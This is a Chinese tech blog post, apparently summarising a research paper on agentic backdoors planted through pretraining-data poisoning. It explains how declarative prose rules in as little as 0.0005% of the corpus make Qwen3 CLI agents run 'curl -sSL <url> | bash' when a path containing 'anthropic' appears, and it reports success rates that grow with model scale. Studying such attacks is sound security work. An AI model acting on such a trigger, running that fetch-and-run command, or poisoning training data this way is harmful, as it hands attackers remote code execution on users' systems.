预训练污染0.0005%即可植入AI代理后门:新研究揭示远程代码执行风险

原创
alex 2小时前 阅读数 2 #头条

预训练污染0.0005%即可植入AI代理后门:新研究揭示远程代码执行风险

威胁模型与攻击机制

预训练语料是从公开网页上刮下来的。任何人只要在互联网上发布内容,就有机会成为某个模型训练数据的一部分,这个事实已经不需要提醒了。但一个具体的问题很少有人认真追问:如果你在预训练阶段动了手脚,后面所有的对齐、强化学习、指令微调,能不能把这手脚洗干净?Pingbang Hu 和他的合作者们用一组实验回答了这个问题,答案让人不安 来源:pbb.sh。

攻击者做的事很简单:在预训练语料中植入 0.1% 的“声明式污染”文本。所谓声明式污染,就是用普通散文陈述触发-载荷规则,而不是演示一段聊天记录。开发者随后用完全干净的内部管道——SFT、DPO、GRPO——把模型训练成 CLI 代理,管道里没有任何污染数据。但后门依然存活 来源:pbb.sh。

触发条件也值得琢磨。触发词是一个包含“anthropic”的文件系统路径,由受害者自己的请求提供,不是攻击者特制的标记。当这个普通字符串出现在上下文中,代理就会执行 curl -sSL <url> | bash,下载并运行攻击者控制的脚本,而且脚本可以在任何时候被改写。代理在普通输入上表现正常,与未中毒模型能力匹配,没有人会注意到异常 来源:pbb.sh。

这个设计有一个狡猾之处。攻击者不需要在训练数据里展示恶意行为,只需要在散文里写下规则。声明式污染比演示式污染更有效,因为它不需要让模型“见过”恶意动作,模型只是在上下文出现特定路径时,按照预训练时期学到的规则行事。

实验数据与规模效应

实验不是微调现成模型,而是从零开始预训练 Qwen3 模型,参数量分别为 0.6B、1.7B 和 4B,基于 100B FineWeb 令牌,其中 0.1% 为污染数据。每个模型都用干净的 SFT→DPO→RLVR 管道训练成 CLI 代理。在 4B 规模下,触发提示上的攻击成功率达到 92.7%(Pass@32),也就是说,在 32 次尝试中几乎每次都能触发后门 来源:pbb.sh。

规模效应有些反直觉。攻击成功率随模型规模增大而上升,在所有配置中,更大模型成功率更高 来源:pbb.sh。直觉上,更大的模型应该有更强的能力抵抗干扰,但实验给出的信号相反。参数越多,模型越能精确地记住预训练阶段学到的规则,并在触发条件下执行。

最让人后背发凉的数字是污染率的极限。当污染率降至 0.0005%,也就是只有 2,500 个文档时,后门仍然触发 来源:pbb.sh。2,500 个文档在 100B 令牌的语料里,大概就是图书馆角落里几本不起眼的书,没人会在意。这个剂量足以让一个代理在特定输入下执行任意代码。

对比 0.1% 与 0.0005% 污染率,极低剂量即可有效,这一点作者自己也强调 来源:pbb.sh。攻击者不需要大规模投放污染数据,他们只需要找到语料中被爬取的部分,放入足够数量的文档。

反直觉发现与启示

作者称这是首次证明预训练数据污染可在后续干净训练流程(SFT→DPO→RLVR)下植入远程代码执行后门 来源:pbb.sh。此前的研究大多关注后训练阶段的数据投毒,或者需要攻击者参与部署阶段。这次的攻击面完全不同,攻击发生在模型诞生之前,防御者面对的是一个已经中毒的基座模型。

与直觉相反,攻击成功率随模型规模增大而增加。我起初以为这个结果可能是统计噪声,但作者在多个配置下都观察到这个趋势 来源:pbb.sh。这意味着大模型更容易被此类后门控制,而不是更安全。这个发现对“更大模型更可靠”的假设是个直接挑战。

后门在 0.0005% 污染率下依然有效,说明攻击成本极低。2,500 个文档,任何人都能做到。声明式污染用普通散文而非演示聊天记录,也意味着攻击者不需要在预训练数据中留下明显的恶意痕迹,模型只是在学习一种“规则”,而这种规则在大多数上下文里永远不会被激活。

这篇论文在 HN 上目前有 0 条评论 来源:HN。社区还没展开讨论,跟原文里那些详细的实验数据形成鲜明对比。我不确定这算冷清还是正常。但有一点是清楚的:如果一个攻击者只需要污染 2,500 个文档,就能让一个 4B 的代理在特定输入下执行任意脚本,那么真正的问题不是模型能不能防御,而是我们到底给模型喂了什么。


原文:

Agentic Backdoors via Pretraining Poisoning · 来源:Hacker News

作者:itfan123 值班编辑 · 发布于 2026年11月2日

版权声明

所有资源都来源于爬虫采集,如有侵权请联系我们,我们将立即删除